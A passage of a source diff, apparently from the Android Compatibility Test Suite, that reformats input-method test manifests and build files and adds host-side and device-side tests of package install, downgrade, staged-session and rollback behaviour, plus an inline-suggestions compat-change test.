-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/ime2" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/ime2"/>
         </service>
     </application>
 
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
index 0ec523f..01ca2c0 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "CtsInputMethodServiceLib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
index 2935fe8..efbf893 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInputMethodServiceEventProvider",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
index 841b7c1..a8b17e3 100755
--- a/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/provider/AndroidManifest.xml
@@ -16,18 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.provider">
+     package="android.inputmethodservice.cts.provider">
 
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
+    <uses-sdk android:minSdkVersion="26"
+         android:targetSdkVersion="26"/>
 
     <application android:label="CtsInputMethodServiceEventProvider">
-        <provider
-            android:authorities="android.inputmethodservice.cts.provider"
-            android:name="android.inputmethodservice.cts.provider.EventProvider"
-            android:exported="true" />
-        <receiver android:name="android.inputmethodservice.cts.receiver.EventReceiver">
+        <provider android:authorities="android.inputmethodservice.cts.provider"
+             android:name="android.inputmethodservice.cts.provider.EventProvider"
+             android:exported="true"/>
+        <receiver android:name="android.inputmethodservice.cts.receiver.EventReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.inputmethodservice.cts.action.IME_EVENT" />
+                <action android:name="android.inputmethodservice.cts.action.IME_EVENT"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
index a3292ba..48258ce 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.bp
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsInputMethodServiceHostTestCases",
     defaults: ["cts_defaults"],
@@ -30,5 +26,8 @@
         "cts-tradefed",
         "tradefed",
     ],
-    static_libs: ["cts-inputmethodservice-common-host"],
+    static_libs: [
+        "cts-inputmethodservice-common-host",
+        "CompatChangeGatingTestBase",
+    ],
 }
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java
new file mode 100644
index 0000000..619cb07
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InlineSuggestionsRequestHostTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.hostside;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.inputmethodservice.cts.common.test.DeviceTestConstants;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Host side tests for the {@link android.app.compat.CompatChanges} API changes in
+ * {@link android.view.inputmethod.InlineSuggestionsRequest}.
+ *
+ * <p>See also {@link android.inputmethodservice.cts.devicetest.InlineSuggestionsRequestDeviceTest}.
+ */
+public class InlineSuggestionsRequestHostTest extends CompatChangeGatingTestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        installPackage(DeviceTestConstants.APK, true);
+    }
+
+    public void testImeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled() throws Exception {
+        runDeviceCompatTest(DeviceTestConstants.PACKAGE, ".InlineSuggestionsRequestDeviceTest",
+                "imeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled",
+                /*enabledChanges*/ImmutableSet.of(169273070L),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testImeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled() throws Exception {
+        runDeviceCompatTest(DeviceTestConstants.PACKAGE, ".InlineSuggestionsRequestDeviceTest",
+                "imeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of(169273070L));
+    }
+}
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index c1b948e..6dce130 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -305,7 +305,7 @@
             }
             final int lastSwitchUserId = Integer.parseInt(lines[0], 10);
             if (userId == lastSwitchUserId) {
-                // InputMethodManagerService.Lifecycle#onSwitchUser() gets called.  Ready to go.
+                // InputMethodManagerService.Lifecycle#onUserSwitching() gets called.  Ready to go.
                 return;
             }
             if (System.currentTimeMillis() > initialTime + USER_SWITCH_TIMEOUT) {
diff --git a/hostsidetests/install/Android.bp b/hostsidetests/install/Android.bp
new file mode 100644
index 0000000..0f1d005
--- /dev/null
+++ b/hostsidetests/install/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsInstallHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs:  ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "cts-shim-host-lib",
+        "tradefed",
+        "truth-prebuilt",
+        "hamcrest",
+        "hamcrest-library",
+    ],
+    data: [
+        ":InstallTest",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "InstallTest",
+    srcs:  ["app/src/**/*.java", "src/android/cts/install/*.java"],
+    manifest : "app/AndroidManifest.xml",
+    static_libs: [
+        "androidx.test.runner",
+        "androidx.test.core",
+        "truth-prebuilt",
+        "cts-install-lib",
+        "cts-rollback-lib",
+    ],
+    java_resources: [
+        ":StagedInstallTestApexV1",
+        ":StagedInstallTestApexV2",
+        ":StagedInstallTestApexV3",
+    ],
+    sdk_version: "test_current",
+    test_suites: ["device-tests"],
+}
diff --git a/hostsidetests/install/AndroidTest.xml b/hostsidetests/install/AndroidTest.xml
new file mode 100644
index 0000000..35073c7
--- /dev/null
+++ b/hostsidetests/install/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs the install API tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can't have INSTALL_PACKAGES permission. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- TODO(b/137885984): Revisit secondary user eligibility once the issue is resolved. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="InstallTest.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.cts.install.host.InstallTest" />
+        <option name="class" value="android.cts.install.host.DowngradeTest" />
+        <option name="class" value="android.cts.install.host.SamegradeTest" />
+        <option name="class" value="android.cts.install.host.UpgradeTest" />
+    </test>
+</configuration>
diff --git a/hostsidetests/install/OWNERS b/hostsidetests/install/OWNERS
new file mode 100644
index 0000000..71cfd5a
--- /dev/null
+++ b/hostsidetests/install/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36137
+include ../Stagedinstall/OWNERS
+chenghsiuchang@google.com
\ No newline at end of file
diff --git a/hostsidetests/install/TEST_MAPPING b/hostsidetests/install/TEST_MAPPING
new file mode 100644
index 0000000..8ba921a
--- /dev/null
+++ b/hostsidetests/install/TEST_MAPPING
@@ -0,0 +1,17 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsInstallHostTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsInstallHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/install/app/AndroidManifest.xml b/hostsidetests/install/app/AndroidManifest.xml
new file mode 100644
index 0000000..449d24f
--- /dev/null
+++ b/hostsidetests/install/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.install">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+        <!-- This activity is necessary to register the test app as the default home activity (i.e.
+                         to receive SESSION_COMMITTED broadcasts.) -->
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.cts.install"
+         android:label="Install Test"/>
+</manifest>
diff --git a/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java b/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java
new file mode 100644
index 0000000..13e6f94
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/DowngradeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(Parameterized.class)
+public final class DowngradeTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_CURRENT = 3;
+    private static final int VERSION_CODE_DOWNGRADE = 2;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case of
+     * {@link android.cts.install.host.DowngradeTest} to reduce tests flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    /** Install the version {@link #VERSION_CODE_CURRENT} of the apps to be downgraded. */
+    @Test
+    public void arrange_phase() throws Exception {
+        getParameterizedInstall(VERSION_CODE_CURRENT).commit();
+    }
+
+    /** Verify the version of the arranged apps. */
+    @Test
+    public void assert_postArrange_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Commits the downgrade. */
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE);
+        int sessionId = install.setRequestDowngrade().commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    /** Confirms target version of the apps installed. */
+    @Test
+    public void assert_downgradeSuccess_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_DOWNGRADE);
+    }
+
+    /** Confirms versions before staged downgrades applied. */
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms versions after staged downgrades applied. */
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_DOWNGRADE);
+    }
+
+    /** Confirms the downgrade commit not allowed. */
+    @Test
+    public void assert_downgradeNotAllowed_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE).setRequestDowngrade();
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE" + "|"
+                        + "Downgrade of APEX package com\\.android\\.apex\\.cts\\.shim is not "
+                        + "allowed",
+                install);
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Confirms the downgrade commit not allowed without requesting downgrade. */
+    @Test
+    public void assert_downgradeNotRequested_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_DOWNGRADE);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE" + "|"
+                        + "Downgrade of APEX package com\\.android\\.apex\\.cts\\.shim is not "
+                        + "allowed",
+                install);
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_CURRENT);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/InstallRule.java b/hostsidetests/install/app/src/android/cts/install/InstallRule.java
new file mode 100644
index 0000000..a7d701b
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/InstallRule.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.Manifest;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import com.google.common.collect.HashBasedTable;
+import com.google.common.collect.Table;
+
+import org.junit.rules.ExternalResource;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * Adopts needed permissions for testing install flow and provides test packages mappings
+ * corresponding to {@link INSTALL_TYPE}.
+ */
+final class InstallRule extends ExternalResource {
+    private static final String TAG = InstallRule.class.getSimpleName();
+
+    static final int VERSION_CODE_INVALID = -1;
+    static final int VERSION_CODE_DEFAULT = 1;
+
+    /** Indexes test apps with package name and versionCode */
+    private static final Table<String, Integer, TestApp> sTestAppMap = getTestAppTable();
+
+    @Override
+    protected void before() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES,
+                        Manifest.permission.DELETE_PACKAGES);
+    }
+
+    @Override
+    protected void after() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Performs cleanup phase for test installations. Actual purpose of this method is to be called
+     * before and after each host-side test to reduce tests flakiness.
+     */
+    void cleanUp() throws Exception {
+        PackageInstaller packageInstaller = getPackageInstaller();
+        packageInstaller.getStagedSessions().stream()
+                .filter(sessionInfo -> !sessionInfo.hasParentSessionId())
+                .forEach(sessionInfo -> {
+                    try {
+                        Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
+                        packageInstaller.abandonSession(sessionInfo.getSessionId());
+                    } catch (Exception e) {
+                        Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
+                    }
+                });
+        Uninstall.packages(TestApp.A, TestApp.B);
+    }
+
+    /** Resolves corresponding test apps with specific install type and version. */
+    List<TestApp> getTestApps(INSTALL_TYPE installType, int versionCode) {
+        return getTestPackageNames(installType).stream()
+                .map(packageName -> getTestApp(packageName, versionCode))
+                .collect(Collectors.toList());
+    }
+
+    /** Asserts {@code packageNames} has been installed with expected version. */
+    void assertPackageVersion(INSTALL_TYPE installType, int version) {
+        getTestPackageNames(installType).stream().forEach(packageName -> {
+            long installedVersion = VERSION_CODE_INVALID;
+            long expectedVersion = version;
+
+            PackageInfo info = InstallUtils.getPackageInfo(packageName);
+            if (info != null) {
+                installedVersion = info.getLongVersionCode();
+                if (version == VERSION_CODE_INVALID && info.isApex) {
+                    // Apex cannot be fully uninstalled, verify default version instead.
+                    expectedVersion = VERSION_CODE_DEFAULT;
+                }
+            }
+
+            assertWithMessage(
+                    String.format("%s's versionCode expected to be %d, but was %d",
+                            packageName, expectedVersion, installedVersion))
+                    .that(installedVersion).isEqualTo(expectedVersion);
+        });
+    }
+
+    /**
+     * Resolves corresponding test packages.
+     *
+     * @note This method should be aligned with {@link INSTALL_TYPE}
+     */
+    private static List<String> getTestPackageNames(INSTALL_TYPE installType) {
+        switch (installType) {
+            case SINGLE_APK:
+                return Arrays.asList(TestApp.A);
+            case SINGLE_APEX:
+                return Arrays.asList(SHIM_APEX_PACKAGE_NAME);
+            case MULTIPLE_APKS:
+                return Arrays.asList(TestApp.A, TestApp.B);
+            case MULTIPLE_MIX:
+                return Arrays.asList(TestApp.A, SHIM_APEX_PACKAGE_NAME);
+            default:
+                throw new AssertionError("Unknown install type");
+        }
+    }
+
+    private static TestApp getTestApp(String packageName, int version) {
+        if (!sTestAppMap.contains(packageName, version)) {
+            throw new AssertionError("Unknown test app");
+        }
+        return sTestAppMap.get(packageName, version);
+    }
+
+    private static Table<String, Integer, TestApp> getTestAppTable() {
+        Table<String, Integer, TestApp> testAppMap = HashBasedTable.create();
+        testAppMap.put(TestApp.A, 1, TestApp.A1);
+        testAppMap.put(TestApp.A, 2, TestApp.A2);
+        testAppMap.put(TestApp.A, 3, TestApp.A3);
+        testAppMap.put(TestApp.B, 1, TestApp.B1);
+        testAppMap.put(TestApp.B, 2, TestApp.B2);
+        testAppMap.put(TestApp.B, 3, TestApp.B3);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 1, TestApp.Apex1);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 2, TestApp.Apex2);
+        testAppMap.put(SHIM_APEX_PACKAGE_NAME, 3, TestApp.Apex3);
+        return testAppMap;
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/InstallTest.java b/hostsidetests/install/app/src/android/cts/install/InstallTest.java
new file mode 100644
index 0000000..5a5dd54
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/InstallTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install;
+
+import static android.cts.install.InstallRule.VERSION_CODE_INVALID;
+
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public final class InstallTest {
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mStaged;
+
+    @Parameter(2)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Staged{1}_Rollback{2}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean staged : booleanValues) {
+                for (boolean enableRollback : booleanValues) {
+                    temp.add(new Object[]{installType, staged, enableRollback});
+                }
+            }
+        }
+        return temp;
+    }
+
+    @Rule
+    public InstallRule mInstallRule = new InstallRule();
+
+    @Rule
+    public SessionRule mSessionRule = new SessionRule();
+
+    private static final int VERSION_CODE_TARGET = 2;
+
+    /**
+     * Cleans up test environment.
+     *
+     * This is marked as @Test to take advantage of @Before/@After methods of hostside test cases.
+     * Actual purpose of this method to be called before and after each test case of
+     * {@link android.cts.install.host.InstallTest} to reduce tests flakiness.
+     */
+    @Test
+    public void cleanUp_phase() throws Exception {
+        mInstallRule.cleanUp();
+        mSessionRule.cleanUp();
+    }
+
+    @Test
+    public void action_phase() throws Exception {
+        Install install = getParameterizedInstall(VERSION_CODE_TARGET);
+        int sessionId = install.commit();
+        mSessionRule.recordSessionId(sessionId);
+    }
+
+    @Test
+    public void assert_commitFailure_phase() {
+        Install install = getParameterizedInstall(VERSION_CODE_TARGET);
+        InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
+                "APEX files can only be installed as part of a staged session.", install);
+    }
+
+    @Test
+    public void assert_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_TARGET);
+    }
+
+    @Test
+    public void assert_preReboot_phase() throws Exception {
+        assertNoSessionCommitBroadcastSent();
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionReady()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_INVALID);
+    }
+
+    @Test
+    public void assert_postReboot_phase() throws Exception {
+        assertThat(mSessionRule.retrieveSessionInfo().isStagedSessionApplied()).isTrue();
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_TARGET);
+        assertNoSessionCommitBroadcastSent();
+    }
+
+    @Test
+    public void action_abandonSession_phase() throws Exception {
+        getPackageInstaller().abandonSession(mSessionRule.retrieveSessionId());
+    }
+
+    @Test
+    public void assert_abandonSession_phase() {
+        mInstallRule.assertPackageVersion(mInstallType, VERSION_CODE_INVALID);
+    }
+
+    /** Gets parameterized {@link Install} of test packages with specific version. */
+    private Install getParameterizedInstall(int versionCode) {
+        List<TestApp> testApps = mInstallRule.getTestApps(mInstallType, versionCode);
+        Install install = testApps.size() == 1
+                ? Install.single(testApps.get(0))
+                : Install.multi(testApps.toArray(new TestApp[testApps.size()]));
+        if (mStaged) {
+            install.setStaged();
+        }
+        if (mEnableRollback) {
+            install.setEnableRollback();
+        }
+        return install;
+    }
+
+    private static void assertNoSessionCommitBroadcastSent() throws InterruptedException {
+        BlockingQueue<PackageInstaller.SessionInfo> committedSessions = new LinkedBlockingQueue<>();
+        BroadcastReceiver sessionCommittedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                try {
+                    PackageInstaller.SessionInfo info =
+                            intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+                    committedSessions.put(info);
+                } catch (InterruptedException e) {
+                    throw new AssertionError(e);
+                }
+            }
+        };
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        context.registerReceiver(sessionCommittedReceiver,
+                new IntentFilter(PackageInstaller.ACTION_SESSION_COMMITTED));
+
+        PackageInstaller.SessionInfo info = committedSessions.poll(10, TimeUnit.SECONDS);
+        context.unregisterReceiver(sessionCommittedReceiver);
+
+        assertThat(info).isNull();
+    }
+}
diff --git a/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java b/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java
new file mode 100644
index 0000000..d91b0ae
--- /dev/null
+++ b/hostsidetests/install/app/src/android/cts/install/LauncherActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
